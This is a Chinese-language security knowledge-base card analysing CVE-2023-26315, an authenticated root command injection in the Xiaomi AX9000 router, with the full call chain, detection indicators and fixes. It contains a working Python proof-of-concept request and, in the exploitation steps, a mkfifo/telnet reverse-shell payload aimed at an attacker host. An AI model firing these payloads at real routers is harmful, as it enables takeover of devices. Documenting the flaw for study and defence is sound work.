♧ Godown 安全知识树

小米 AX9000 CVE-2023-26315:xqdatacenter→thrifttunnel→datacenter→plugincenter 认证后命令注入(root RCE)

iot · verified

一句话结论

小米 AX9000(MiWiFi 稳定版 1.0.168)中,已登录管理员向 /cgi-bin/luci/;stok=<token>/api/xqdatacenter/request 提交 payload JSON(api=629,appid 带 Shell 元字符),LuCI 用未过滤的 http.formvalue_unsafe 取值后拼成 thrifttunnel 0 '<base64>' 执行;thrifttunnel 将 JSON 转发到本地 127.0.0.1:9090 的 datacenter,后者按 api=629 再转发到 127.0.0.1:9091 的 plugincenter,其 PluginApi::getIdForVendor 把 appid 无过滤拼进 matool --method idForVendor --params <appid> 并调用 system(),最终以 root 执行任意命令。

原理

整条链由四段组成,每一段都把上一段传来的不可信数据原样交给下一段:

  1. LuCI 入口(Lua):/usr/lib/lua/luci/controller/api/xqdatacenter.lua 注册 /api/xqdatacenter/request,handler 为 tunnelRequest,entry 未设置免鉴权 flag,且节点设置 sysauth="admin"、sysauth_authenticator="jsonauth",因此必须持有管理员 stok。tunnelRequest 用 http.formvalue_unsafe("payload") 读取参数——LuCI 的 formvalue() 会调用 hackCheck 过滤危险字符,而 formvalue_unsafe() 不做任何过滤。随后 XQCryptoUtil.binaryBase64Enc(payload) 编码,按 XQConfigs.THRIFT_TUNNEL_TO_DATACENTER(值为 "thrifttunnel 0 '%s'")格式化,交给 util.exec() 执行。
  2. thrifttunnel(C++ 二进制):main 检查参数个数为 3,把 argv[2](即 base64 payload)拷贝并解码;switch(atoi(argv[1])) 中参数为 0 时进入 case 0,创建到 127.0.0.1:9090 的 Thrift socket,把解码后的 JSON 原样发送给 datacenter,不校验 JSON 内容。
  3. datacenter(本地 9090 服务):TNonblockingServer 监听 127.0.0.1:9090;DataCenterHandler::request 调用 APIMapping::redirectRequest,按 JSON 中的 api 字段查 std::map<int, handler> 映射表并执行对应函数指针。该固件中 api=629 映射到 callPluginCenter,由它再向 127.0.0.1:9091 的 plugincenter 发送请求。
  4. plugincenter(本地 9091 服务):PluginAPIMapping 同样用 api 查表,api=629 对应 parseGetIdForVendor。该函数读取 JSON 中的 appid 字符串并传给 PluginApi::getIdForVendor;后者用 std::operator+ 拼出 "matool --method idForVendor --params " + appid,再调用 CommonUtils::sCallSystem()(即 system())。

为什么成立:入口刻意使用 formvalue_unsafe 绕过 LuCI 的字符过滤;thrifttunnel、datacenter、plugincenter 都是本机回环服务,彼此信任且只按 api 数值路由、不校验字段内容;最终 appid 未经转义就拼进 Shell 命令行并交给 system(),分号即可截断原命令。plugincenter 以 root 运行,命令继承 root 权限。

触发条件

  • 目标为小米 AX9000,MiWiFi 稳定版 1.0.168(miwifi_ra70_firmware_cc424_1.0.168.bin),LuCI Web 管理面可达。
  • 攻击者已获得管理员登录后的 stok,即“认证后”利用,不是未授权入口。
  • /cgi-bin/luci/;stok=<token>/api/xqdatacenter/request 可访问,payload 参数可控。
  • 设备上 datacenter(9090)与 plugincenter(9091)正常运行;该固件的映射表中 api=629 指向 callPluginCenter/parseGetIdForVendor。
  • JSON 中包含 appid 字段;appid 为字符串,可带 ;、|、$()、反引号等 Shell 元字符。

利用步骤

  1. 用管理员账号登录路由器后台,从 URL 的 ;stok= 或 Cookie 中取得会话令牌。
  2. 构造 payload JSON:{"api":629,"appid":"<注入命令>"};注入命令建议用分号包裹,如 ;ls;id;pwd;。
  3. 以表单字段 payload POST 到 http://<router>/cgi-bin/luci/;stok=<token>/api/xqdatacenter/request。
  4. 读取 HTTP 响应;原文 PoC 直接打印响应文本即可看到 ls/id/pwd 的执行结果,确认命令回显。
  5. 若需交互式控制,把 appid 换成反弹 Shell 或带外命令(如 ;mkfifo /tmp/f; telnet <attacker> 8888 0</tmp/f | /bin/sh > /tmp/f;#),攻击机监听对应端口。

PoC

import requests

server_ip = "192.168.122.130"
token = "<管理员登录后的 stok>"
cmd = ";ls;id;pwd;"

res = requests.post(
    "http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token),
    data={"payload": '{"api":629, "appid":"' + cmd + '"}'},
)
print(res.text)

实际拼出的命令为:

matool --method idForVendor --params ;ls;id;pwd;

变体与关联

  • 注入位置:appid 位于 --params 之后,可用 ;、&&、|、反引号、$() 注入;命令末尾可用 # 注释掉可能追加的内容。
  • api 值变体:api 决定 datacenter/plugincenter 中的 handler。除 629 外,映射表中的其他编号也可能落到带命令拼接的 handler;可静态导出 sConstructMappingTable 逐项排查。
  • 同入口不同 sink:同一 /api/xqdatacenter/request 入口在不同型号/固件上可落到 datacenter 的其他 handler。例如小米 BE10000 Pro 的 api=7 落到 formatExtDisk,把 vendor/type/dev 拼进 /usr/sbin/format_disk;参见 [[iot-xiaomi-be10000-xqdatacenter-thrifttunnel-command-injection]]。
  • 回显与盲打:若目标固件不回显命令输出,改用反弹 Shell、写文件或 DNS/HTTP 带外确认。
  • 关联卡片:[[iot-protocol-huawei-hg532-upnp-deviceupgrade-command-injection]](嵌入式 Web 参数拼 system 的同类命令注入)、[[code-analysis-reverse-firmware-xiaomi-ax9000-ubi-aarch64-qemu-emulation]](本文固件解包/仿真方法)。

检测与防御

  • 检测:Web 日志中出现 /api/xqdatacenter/request 且 payload 含 ;、|、&&、$(、反引号、/bin/sh、telnet、mkfifo 等;进程树出现 luci/uhttpd → sh -c thrifttunnel 0 ... → datacenter → plugincenter → matool 的异常调用;matool 参数中出现 Shell 元字符;路由器主动外连非常规端口。
  • 防御:把 http.formvalue_unsafe 改为带 hackCheck 的 formvalue,并对 payload 做严格 JSON Schema 校验;api 使用白名单而非直接查表;thrifttunnel 对转发到本机服务的 JSON 做字段校验;getIdForVendor 不要用字符串拼接 + system,改用 execve/posix_spawn 传 argv,appid 只允许已知字符集;datacenter/plugincenter 以最小权限运行并限制本机访问;及时升级官方修复固件。